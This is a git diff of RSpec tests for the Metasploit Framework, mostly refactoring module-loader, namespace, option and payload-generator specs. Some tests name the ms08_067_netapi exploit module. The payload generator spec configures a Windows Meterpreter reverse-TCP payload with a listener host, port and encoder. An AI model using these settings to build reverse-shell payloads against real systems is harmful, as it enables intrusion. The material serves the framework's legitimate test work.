#{mtype} module" do - before(:each) { subject.stub(:type => mtype) } - - accept = ["type:#{mtype}"] - reject = all_module_types.reject { |t| t == mtype }.map { |t| "type:#{t}" } - - it_should_behave_like 'search_filter', :accept => accept, :reject => reject + it 'should raise an exception' do + expect{msf_module.replicant}.to raise_error(RuntimeError) end end end - REF_TYPES.each do |ref_type| - ref_num = '1234-1111' - context 'on a module with reference #{ref_type}-#{ref_num}' do - let(:opts) { ({ 'References' => [[ref_type, ref_num]] }) } - accept = ["#{ref_type.downcase}:#{ref_num}"] - reject = %w(1235-1111 1234-1112 bad).map { |n| "#{ref_type.downcase}:#{n}" } - - it_should_behave_like 'search_filter', :accept => accept, :reject => reject + describe "#register_extensions" do + describe "with single module" do + it 'should place the named module in the datastore' do + msf_module.register_extensions(MsfExtensionTestFoo) + expect(msf_module.replicant.datastore[Msf::Module::REPLICANT_EXTENSION_DS_KEY]).to eql([MsfExtensionTestFoo]) + end end + + describe "with multiple modules" do + it 'should place the named modules in the datastore' do + msf_module.register_extensions(MsfExtensionTestFoo, MsfExtensionTestBar) + expect(msf_module.replicant.datastore[Msf::Module::REPLICANT_EXTENSION_DS_KEY]).to eql([MsfExtensionTestFoo, MsfExtensionTestBar]) + end + end + end end + end diff --git a/spec/lib/msf/core/modules/loader/archive_spec.rb b/spec/lib/msf/core/modules/loader/archive_spec.rb deleted file mode 100644 index aafa587f9d..0000000000 --- a/spec/lib/msf/core/modules/loader/archive_spec.rb +++ /dev/null @@ -1,276 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'msf/core' - -describe Msf::Modules::Loader::Archive do - let(:archive_extension) do - '.fastlib' - end - - context 'CONSTANTS' do - it 'should have extension' do - described_class::ARCHIVE_EXTENSION.should == archive_extension - end - end - - context 'instance methods' do - let(:enabled_type) do - 'exploit' - end - - let(:enabled_type_directory) do - 'exploits' - end - - let(:framework) do - double('Framework') - end - - let(:module_extension) do - '.rb' - end - - let(:module_manager) do - # DO NOT mock module_manager to ensure that no protected methods are being called. - Msf::ModuleManager.new(framework, [enabled_type]) - end - - let(:module_reference_name) do - 'module/reference/name' - end - - subject do - described_class.new(module_manager) - end - - context '#each_module_reference_name' do - let(:disabled_module_content) do - <<-EOS - class Metasploit3 < Msf::Auxiliary - end - EOS - end - - let(:disabled_type) do - 'auxiliary' - end - - let(:disabled_type_directory) do - 'auxiliary' - end - - let(:enabled_module_content) do - <<-EOS - class Metasploit3 < Msf::Exploit::Remote - end - EOS - end - - around(:each) do |example| - Dir.mktmpdir do |directory| - @base_path = directory - - # make a .svn directory to be ignored - subversion_path = File.join(@base_path, '.svn') - FileUtils.mkdir_p subversion_path - - # make a type directory that should be ignored because it's not enabled - disabled_type_path = File.join(@base_path, disabled_type_directory) - FileUtils.mkdir_p disabled_type_path - - # - # create a valid module in the disabled type directory to make sure it's the enablement that's preventing the - # yield - # - - disabled_module_path = File.join(disabled_type_path, "#{disabled_type}#{module_extension}") - - File.open(disabled_module_path, 'wb') do |f| - f.write(disabled_module_content) - end - - # make a type directory that should not be ignored because it is enabled - enabled_module_path = File.join( - @base_path, - enabled_type_directory, - "#{module_reference_name}#{module_extension}" - ) - enabled_module_directory = File.dirname(enabled_module_path) - FileUtils.mkdir_p enabled_module_directory - - File.open(enabled_module_path, 'wb') do |f| - f.write(enabled_module_content) - end - - Dir.mktmpdir do |archive_directory| - @archive_path = File.join(archive_directory, "rspec#{archive_extension}") - FastLib.dump(@archive_path, FastLib::FLAG_COMPRESS.to_s(16), @base_path, @base_path) - - # @todo Fix https://www.pivotaltracker.com/story/show/38730815 and the cache won't need to be cleared as a work-around - FastLib.cache.clear - - example.run - end - end - end - - # this checks that the around(:each) is working - it 'should have an existent FastLib' do - File.exist?(@archive_path).should be_true - end - - it 'should ignore .svn directories' do - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - parent_path.should_not include('.svn') - end - end - - it 'should ignore types that are not enabled' do - module_manager.type_enabled?(disabled_type).should be_false - - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - type.should_not == disabled_type - end - end - - it 'should yield (parent_path, type, module_reference_name) with parent_path equal to the archive path' do - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - parent_path.should == @archive_path - end - end - - it 'should yield (parent_path, type, module_reference_name) with type equal to enabled type' do - module_manager.type_enabled?(enabled_type).should be_true - - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - type.should == enabled_type - end - end - - it 'should yield (path, type, module_reference_name) with module_reference_name without extension' do - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - module_reference_name.should_not match(/#{Regexp.escape(module_extension)}$/) - module_reference_name.should == module_reference_name - end - end - - # ensure that the block is actually being run so that shoulds in the block aren't just being skipped - it 'should yield the correct number of tuples' do - actual_count = 0 - - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - actual_count += 1 - end - - actual_count.should == 1 - end - end - - context '#loadable?' do - it 'should return true if the path has ARCHIVE_EXTENSION as file extension' do - path = "path/to/archive#{archive_extension}" - - File.extname(path).should == described_class::ARCHIVE_EXTENSION - subject.loadable?(path).should be_true - end - - it 'should return false if the path contains ARCHIVE_EXTENSION, but it is not the file extension' do - path = "path/to/archive#{archive_extension}.bak" - - path.should include(described_class::ARCHIVE_EXTENSION) - File.extname(path).should_not == described_class::ARCHIVE_EXTENSION - subject.loadable?(path).should be_false - end - end - - context '#module_path' do - let(:parent_path) do - "path/to/archive#{archive_extension}" - end - - let(:type) do - 'exploit' - end - - let(:type_directory) do - 'exploits' - end - - it 'should use typed_path to convert the type name to a type directory' do - subject.should_receive(:typed_path).with(type, module_reference_name) - - subject.send(:module_path, parent_path, type, module_reference_name) - end - - it "should separate the archive path from the entry path with '::'" do - module_path = subject.send(:module_path, parent_path, type, module_reference_name) - - module_path.should == "#{parent_path}::#{type_directory}/#{module_reference_name}.rb" - end - end - - context '#read_module_path' do - let(:module_reference_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:type) do - enabled_type - end - - let(:type_directory) do - enabled_type_directory - end - - let(:archived_path) do - File.join(type_directory, "#{module_reference_name}#{module_extension}") - end - - let(:base_path) do - File.join(Msf::Config.install_root, 'modules') - end - - let(:flag_string) do - flags.to_s(16) - end - - let(:flags) do - 0x0 - end - - let(:unarchived_path) do - File.join(base_path, archived_path) - end - - it 'should read modules that exist' do - File.exist?(unarchived_path).should be_true - end - - around(:each) do |example| - Dir.mktmpdir do |directory| - @parent_path = File.join(directory, 'rspec.fastlib') - - FastLib.dump(@parent_path, flag_string, base_path, unarchived_path) - - # @todo Fix https://www.pivotaltracker.com/story/show/38730815 so cache from dump is correct - FastLib.cache.clear - - example.run - end - end - - context 'with uncompressed archive' do - it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content' - end - - context 'with compressed archive' do - let(:flags) do - FastLib::FLAG_COMPRESS - end - - it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content' - end - end - end -end diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 3f6e69063e..0a5ac1e468 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -52,7 +52,7 @@ describe Msf::Modules::Loader::Base do end it 'should be defined' do - described_class.const_defined?(:DIRECTORY_BY_TYPE).should be_true + described_class.const_defined?(:DIRECTORY_BY_TYPE).should be_truthy end it 'should map Msf::MODULE_AUX to auxiliary' do @@ -100,6 +100,8 @@ describe Msf::Modules::Loader::Base do context 'NAMESPACE_MODULE_CONTENT' do context 'derived module' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + let(:namespace_module_names) do ['Msf', 'Modules', 'Mod617578696c696172792f72737065632f6d6f636b'] end @@ -268,7 +270,7 @@ describe Msf::Modules::Loader::Base do end it 'should return false if :force is false' do - subject.load_module(parent_path, type, module_reference_name, :force => false).should be_false + subject.load_module(parent_path, type, module_reference_name, :force => false).should be_falsey end it 'should not call #read_module_content' do @@ -278,6 +280,8 @@ describe Msf::Modules::Loader::Base do end context 'with file changed' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + let(:module_full_name) do File.join('auxiliary', module_reference_name) end @@ -335,7 +339,7 @@ describe Msf::Modules::Loader::Base do subject.stub(:read_module_content => module_content) - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy namespace_module.parent_path.should == parent_path end @@ -343,7 +347,7 @@ describe Msf::Modules::Loader::Base do module_manager.stub(:on_module_load) subject.should_receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy end it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do @@ -352,7 +356,7 @@ describe Msf::Modules::Loader::Base do # if the module eval error includes the module_path then the module_path was passed along correctly subject.should_receive(:elog).with(/#{Regexp.escape(module_path)}/) - subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_false + subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_falsey end context 'with empty module content' do @@ -361,12 +365,12 @@ describe Msf::Modules::Loader::Base do end it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should not attempt to make a new namespace_module' do subject.should_not_receive(:namespace_module_transaction) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end @@ -426,7 +430,7 @@ describe Msf::Modules::Loader::Base do it 'should record the load error using the original error' do subject.should_receive(:load_error).with(module_path, error) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end @@ -457,14 +461,14 @@ describe Msf::Modules::Loader::Base do it 'should record the load error using the Msf::Modules::VersionCompatibilityError' do subject.should_receive(:load_error).with(module_path, version_compatibility_error) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end it 'should return false' do @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end end @@ -520,11 +524,11 @@ describe Msf::Modules::Loader::Base do it 'should record the load error' do subject.should_receive(:load_error).with(module_path, version_compatibility_error) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should restore the old namespace module' do @@ -558,16 +562,16 @@ describe Msf::Modules::Loader::Base do module_path, kind_of(Msf::Modules::MetasploitClassCompatibilityError) ) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should restore the old namespace module' do - subject.load_module(parent_path, type, module_reference_name).should be_false - Msf::Modules.const_defined?(relative_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_falsey + Msf::Modules.const_defined?(relative_name).should be_truthy Msf::Modules.const_get(relative_name).should == @original_namespace_module end end @@ -583,7 +587,7 @@ describe Msf::Modules::Loader::Base do it 'should check if it is usable' do subject.should_receive(:usable?).with(metasploit_class).and_return(true) - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy end context 'without usable metasploit_class' do @@ -593,16 +597,16 @@ describe Msf::Modules::Loader::Base do it 'should log information' do subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should restore the old namespace module' do - subject.load_module(parent_path, type, module_reference_name).should be_false - Msf::Modules.const_defined?(relative_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_falsey + Msf::Modules.const_defined?(relative_name).should be_truthy Msf::Modules.const_get(relative_name).should == @original_namespace_module end end @@ -615,7 +619,7 @@ describe Msf::Modules::Loader::Base do it 'should log load information' do subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy end it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do @@ -623,17 +627,17 @@ describe Msf::Modules::Loader::Base do module_manager.module_load_error_by_path[module_path] = original_load_error module_manager.module_load_error_by_path[module_path].should == original_load_error - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy module_manager.module_load_error_by_path[module_path].should be_nil end it 'should return true' do - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy end it 'should call module_manager.on_module_load' do module_manager.should_receive(:on_module_load) - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy end context 'with :recalculate_by_type' do @@ -645,8 +649,8 @@ describe Msf::Modules::Loader::Base do type, module_reference_name, :recalculate_by_type => recalculate_by_type - ).should be_true - recalculate_by_type[type].should be_true + ).should be_truthy + recalculate_by_type[type].should be_truthy end end @@ -654,13 +658,13 @@ describe Msf::Modules::Loader::Base do it 'should set the count to 1 if it does not exist' do count_by_type = {} - count_by_type.has_key?(type).should be_false + count_by_type.has_key?(type).should be_falsey subject.load_module( parent_path, type, module_reference_name, :count_by_type => count_by_type - ).should be_true + ).should be_truthy count_by_type[type].should == 1 end @@ -675,7 +679,7 @@ describe Msf::Modules::Loader::Base do type, module_reference_name, :count_by_type => count_by_type - ).should be_true + ).should be_truthy incremented_count = original_count + 1 count_by_type[type].should == incremented_count @@ -689,6 +693,8 @@ describe Msf::Modules::Loader::Base do end context '#create_namespace_module' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + let(:namespace_module_names) do [ 'Msf', @@ -778,6 +784,8 @@ describe Msf::Modules::Loader::Base do end context '#current_module' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + let(:module_names) do [ 'Msf', @@ -802,7 +810,7 @@ describe Msf::Modules::Loader::Base do end it 'should return nil if the module is not defined' do - Msf::Modules.const_defined?(relative_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_falsey subject.send(:current_module, module_names).should be_nil end @@ -838,7 +846,7 @@ describe Msf::Modules::Loader::Base do it 'should return false if path is hidden' do hidden_path = '.hidden/path/file.rb' - subject.send(:module_path?, hidden_path).should be_false + subject.send(:module_path?, hidden_path).should be_falsey end it 'should return false if the file extension is not MODULE_EXTENSION' do @@ -846,25 +854,25 @@ describe Msf::Modules::Loader::Base do path = "path/with/wrong/extension#{non_module_extension}" non_module_extension.should_not == described_class::MODULE_EXTENSION - subject.send(:module_path?, path).should be_false + subject.send(:module_path?, path).should be_falsey end it 'should return false if the file is a unit test' do unit_test_extension = '.rb.ut.rb' path = "path/to/unit_test#{unit_test_extension}" - subject.send(:module_path?, path).should be_false + subject.send(:module_path?, path).should be_falsey end it 'should return false if the file is a test suite' do test_suite_extension = '.rb.ts.rb' path = "path/to/test_suite#{test_suite_extension}" - subject.send(:module_path?, path).should be_false + subject.send(:module_path?, path).should be_falsey end it 'should return true otherwise' do - subject.send(:module_path?, module_path).should be_true + subject.send(:module_path?, module_path).should be_truthy end end @@ -918,6 +926,8 @@ describe Msf::Modules::Loader::Base do end context '#namespace_module_transaction' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + let(:relative_name) do 'Mod617578696c696172792f72737065632f6d6f636b' end @@ -948,7 +958,8 @@ describe Msf::Modules::Loader::Base do end it 'should remove the pre-existing namespace module' do - Msf::Modules.should_receive(:remove_const).with(relative_name) + expect(Msf::Modules).to receive(:remove_const).with(relative_name.to_sym).and_call_original + expect(Msf::Modules).to receive(:remove_const).with(relative_name).and_call_original subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| true @@ -1022,7 +1033,7 @@ describe Msf::Modules::Loader::Base do it 'should return false' do subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| false - }.should be_false + }.should be_falsey end end @@ -1043,7 +1054,7 @@ describe Msf::Modules::Loader::Base do it 'should return true' do subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| true - }.should be_true + }.should be_truthy end end end @@ -1077,18 +1088,18 @@ describe Msf::Modules::Loader::Base do end it 'should remove the created namespace module' do - Msf::Modules.const_defined?(relative_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_falsey begin subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Module.const_defined?(relative_name).should be_true + Msf::Module.const_defined?(relative_name).should be_truthy raise error_class, error_message end rescue error_class end - Msf::Modules.const_defined?(relative_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_falsey end it 'should re-raise the error' do @@ -1102,46 +1113,46 @@ describe Msf::Modules::Loader::Base do context 'with the block returning false' do it 'should remove the created namespace module' do - Msf::Modules.const_defined?(relative_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_falsey subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_defined?(relative_name).should be_true + Msf::Modules.const_defined?(relative_name).should be_truthy false end - Msf::Modules.const_defined?(relative_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_falsey end it 'should return false' do subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| false - }.should be_false + }.should be_falsey end end context 'with the block returning true' do it 'should not restore the non-existent previous namespace module' do - Msf::Modules.const_defined?(relative_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_falsey created_namespace_module = nil subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_defined?(relative_name).should be_true + Msf::Modules.const_defined?(relative_name).should be_truthy created_namespace_module = namespace_module true end - Msf::Modules.const_defined?(relative_name).should be_true + Msf::Modules.const_defined?(relative_name).should be_truthy Msf::Modules.const_get(relative_name).should == created_namespace_module end it 'should return true' do subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| true - }.should be_true + }.should be_truthy end end end @@ -1177,12 +1188,26 @@ describe Msf::Modules::Loader::Base do end context 'with namespace_module nil' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + + # + # lets + # + let(:namespace_module) do nil end + # + # Callbacks + # + + before(:each) do + parent_module.const_set(relative_name, Module.new) + end + it 'should remove relative_name' do - parent_module.should_receive(:remove_const).with(relative_name) + expect(parent_module).to receive(:remove_const).with(relative_name).and_call_original subject.send(:restore_namespace_module, parent_module, relative_name, namespace_module) end @@ -1227,21 +1252,26 @@ describe Msf::Modules::Loader::Base do end context 'with the current constant being the namespace_module' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + it 'should not change the constant' do - parent_module.const_defined?(relative_name).should be_true + parent_module.const_defined?(relative_name).should be_truthy current_module = parent_module.const_get(relative_name) current_module.should == @current_namespace_module subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) - parent_module.const_defined?(relative_name).should be_true + parent_module.const_defined?(relative_name).should be_truthy restored_module = parent_module.const_get(relative_name) restored_module.should == current_module restored_module.should == @current_namespace_module end it 'should not remove the constant and then set it' do + # Allow 'Metasploit::Framework::Spec::Constants cleaner' removal + expect(parent_module).to receive(:remove_const).with(relative_name.to_sym).and_call_original + parent_module.should_not_receive(:remove_const).with(relative_name) parent_module.should_not_receive(:const_set).with(relative_name, @current_namespace_module) @@ -1250,9 +1280,13 @@ describe Msf::Modules::Loader::Base do end context 'without the current constant being the namespace_module' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + it 'should remove relative_name from parent_module' do - parent_module.const_defined?(relative_name).should be_true - parent_module.should_receive(:remove_const).with(relative_name) + parent_module.const_defined?(relative_name).should be_truthy + + expect(parent_module).to receive(:remove_const).with(relative_name).and_call_original + expect(parent_module).to receive(:remove_const).with(relative_name.to_sym).and_call_original subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) end @@ -1268,12 +1302,14 @@ describe Msf::Modules::Loader::Base do end context 'without relative_name being a defined constant' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + it 'should set relative_name on parent_module to namespace_module' do - parent_module.const_defined?(relative_name).should be_false + parent_module.const_defined?(relative_name).should be_falsey subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) - parent_module.const_defined?(relative_name).should be_true + parent_module.const_defined?(relative_name).should be_truthy parent_module.const_get(relative_name).should == @original_namespace_module end end @@ -1295,7 +1331,7 @@ describe Msf::Modules::Loader::Base do metasploit_class = double('Metasploit Class') metasploit_class.should_not respond_to(:is_usable) - subject.send(:usable?, metasploit_class).should be_true + subject.send(:usable?, metasploit_class).should be_truthy end end @@ -1328,7 +1364,7 @@ describe Msf::Modules::Loader::Base do end it 'should return false' do - subject.send(:usable?, metasploit_class).should be_false + subject.send(:usable?, metasploit_class).should be_falsey end end end diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index bb2762782a..f0c7e2ff01 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -27,6 +27,8 @@ describe Msf::Modules::Loader::Directory do context '#load_module' do context 'with existent module_path' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + let(:framework) do framework = double('Msf::Framework', :datastore => {}) @@ -51,11 +53,11 @@ describe Msf::Modules::Loader::Directory do end it 'should load a module that can be created' do - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy created_module = module_manager.create(module_full_name) - created_module.name.should == 'Microsoft Server Service Relative Path Stack Corruption' + created_module.name.should == 'MS08-067 Microsoft Server Service Relative Path Stack Corruption' end context 'with module previously loaded' do @@ -74,7 +76,7 @@ describe Msf::Modules::Loader::Directory do end it 'should not load the module' do - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end @@ -89,7 +91,7 @@ describe Msf::Modules::Loader::Directory do end it 'should not load the module' do - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end end @@ -110,7 +112,7 @@ describe Msf::Modules::Loader::Directory do end it 'should not raise an error' do - File.exist?(module_path).should be_false + File.exist?(module_path).should be_falsey expect { subject.load_module(parent_path, type, module_reference_name) @@ -118,9 +120,9 @@ describe Msf::Modules::Loader::Directory do end it 'should return false' do - File.exist?(module_path).should be_false + File.exist?(module_path).should be_falsey - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end end @@ -138,7 +140,7 @@ describe Msf::Modules::Loader::Directory do # this ensures that the File.exist?(module_path) checks are checking the same path as the code under test it 'should attempt to open the expected module_path' do File.should_receive(:open).with(module_path, 'rb') - File.exist?(module_path).should be_false + File.exist?(module_path).should be_falsey subject.send(:read_module_content, parent_path, type, module_reference_name) end diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index d0bd0843c7..6dcc3c6e52 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -47,7 +47,7 @@ describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit1').should be_true + subject.const_defined?('Metasploit1').should be_truthy end it 'should return the class' do @@ -61,7 +61,7 @@ describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit2').should be_true + subject.const_defined?('Metasploit2').should be_truthy end it 'should return the class' do @@ -75,7 +75,7 @@ describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit3').should be_true + subject.const_defined?('Metasploit3').should be_truthy end it 'should return the class' do @@ -89,7 +89,7 @@ describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit4').should be_true + subject.const_defined?('Metasploit4').should be_truthy end it 'should return the class' do @@ -103,7 +103,7 @@ describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit5').should be_true + subject.const_defined?('Metasploit5').should be_truthy end it 'should be newer than Msf::Framework::Major' do @@ -179,7 +179,7 @@ describe Msf::Modules::Namespace do context 'version_compatible!' do context 'without RequiredVersions' do it 'should not be defined' do - subject.const_defined?('RequiredVersions').should be_false + subject.const_defined?('RequiredVersions').should be_falsey end it 'should not raise an error' do @@ -209,8 +209,8 @@ describe Msf::Modules::Namespace do end context 'with minimum Core version' do - it 'should be <= Msf::Framework::VersionCore' do - minimum_core_version.should <= Msf::Framework::VersionCore + it 'is <= Metasploit::Framework::Core::GEM_VERSION when converted to Gem::Version' do + expect(Gem::Version.new(minimum_core_version.to_s)).to be <= Metasploit::Framework::Core::GEM_VERSION end context 'without minimum API version' do @@ -218,8 +218,8 @@ describe Msf::Modules::Namespace do 2 end - it 'should be > Msf::Framework::VersionAPI' do - minimum_api_version.should > Msf::Framework::VersionAPI + it 'is > Metasploit::Framework::API::GEM_VERSION when converted to Gem::Version' do + expect(Gem::Version.new(minimum_api_version.to_s)).to be > Metasploit::Framework::API::GEM_VERSION end it_should_behave_like 'Msf::Modules::VersionCompatibilityError' @@ -239,8 +239,8 @@ describe Msf::Modules::Namespace do 5 end - it 'should be > Msf::Framework::VersionCore' do - minimum_core_version.should > Msf::Framework::VersionCore + it 'is > Metasploit::Framework::Core::GEM_VERSION when converted to Gem::Version' do + expect(Gem::Version.new(minimum_core_version.to_s)).to be > Metasploit::Framework::Core::GEM_VERSION end context 'without minimum API version' do @@ -248,16 +248,16 @@ describe Msf::Modules::Namespace do 2 end - it 'should be > Msf::Framework::VersionAPI' do - minimum_api_version.should > Msf::Framework::VersionAPI + it 'is > Metasploit::Framework::API::GEM_VERSION when converted to Gem::Version' do + expect(Gem::Version.new(minimum_api_version.to_s)).to be > Metasploit::Framework::API::GEM_VERSION end it_should_behave_like 'Msf::Modules::VersionCompatibilityError' end context 'with minimum API version' do - it 'should be <= Msf::Framework::VersionAPI' do - minimum_api_version <= Msf::Framework::VersionAPI + it 'is <= Metasploit::Framework::API::GEM_VERSION when converted to Gem::Version' do + expect(Gem::Version.new(minimum_api_version.to_s)).to be <= Metasploit::Framework::API::GEM_VERSION end it_should_behave_like 'Msf::Modules::VersionCompatibilityError' diff --git a/spec/lib/msf/core/options/opt_enum_spec.rb b/spec/lib/msf/core/options/opt_enum_spec.rb index 247b58d7ea..5c882c98b4 100644 --- a/spec/lib/msf/core/options/opt_enum_spec.rb +++ b/spec/lib/msf/core/options/opt_enum_spec.rb @@ -20,4 +20,4 @@ describe Msf::OptEnum do subject.valid?('Bar').should == true end end -end \ No newline at end of file +end diff --git a/spec/lib/msf/core/options/opt_raw_spec.rb b/spec/lib/msf/core/options/opt_raw_spec.rb index 68b2cceb8c..f2a6bb68e4 100644 --- a/spec/lib/msf/core/options/opt_raw_spec.rb +++ b/spec/lib/msf/core/options/opt_raw_spec.rb @@ -12,4 +12,4 @@ describe Msf::OptRaw do invalid_values = [] it_behaves_like "an option", valid_values, invalid_values, 'raw' -end \ No newline at end of file +end diff --git a/spec/lib/msf/core/options/opt_regexp_spec.rb b/spec/lib/msf/core/options/opt_regexp_spec.rb index 682f7c9330..0ff0e623cc 100644 --- a/spec/lib/msf/core/options/opt_regexp_spec.rb +++ b/spec/lib/msf/core/options/opt_regexp_spec.rb @@ -14,4 +14,4 @@ describe Msf::OptRegexp do ] it_behaves_like "an option", valid_values, invalid_values, 'regexp' -end \ No newline at end of file +end diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index 13d47e5148..f6b496d3c5 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -2,12 +2,7 @@ require 'spec_helper' require 'msf/core/payload_generator' describe Msf::PayloadGenerator do - - PAYLOAD_FRAMEWORK = Msf::Simple::Framework.create( - :module_types => [ ::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP], - 'DisableDatabase' => true, - 'DisableLogging' => true - ) + include_context 'Msf::Simple::Framework#modules loading' let(:lhost) { "192.168.172.1"} let(:lport) { "8443" } @@ -15,13 +10,18 @@ describe Msf::PayloadGenerator do let(:add_code) { false } let(:arch) { "x86" } let(:badchars) { "\x20\x0D\x0A" } - let(:encoder) { 'x86/shikata_ga_nai' } + let(:encoder_reference_name) { + # use encoder_module to ensure it is loaded prior to passing to generator + encoder_module.refname + } let(:format) { "raw" } - let(:framework) { PAYLOAD_FRAMEWORK } let(:iterations) { 1 } let(:keep) { false } let(:nops) { 0 } - let(:payload) { "windows/meterpreter/reverse_tcp"} + let(:payload_reference_name) { + # use payload_module to ensure it is loaded prior to passing to generator + payload_module.refname + } let(:platform) { "Windows" } let(:space) { 1073741824 } let(:stdin) { nil } @@ -31,25 +31,42 @@ describe Msf::PayloadGenerator do add_code: add_code, arch: arch, badchars: badchars, - encoder: encoder, + encoder: encoder_reference_name, datastore: datastore, format: format, framework: framework, iterations: iterations, keep: keep, nops: nops, - payload: payload, + payload: payload_reference_name, platform: platform, space: space, stdin: stdin, template: template } } - let(:payload_module) { framework.payloads.create(payload)} + let(:payload_module) { + load_and_create_module( + ancestor_reference_names: %w{ + stagers/windows/reverse_tcp + stages/windows/meterpreter + }, + module_type: 'payload', + reference_name: 'windows/meterpreter/reverse_tcp' + 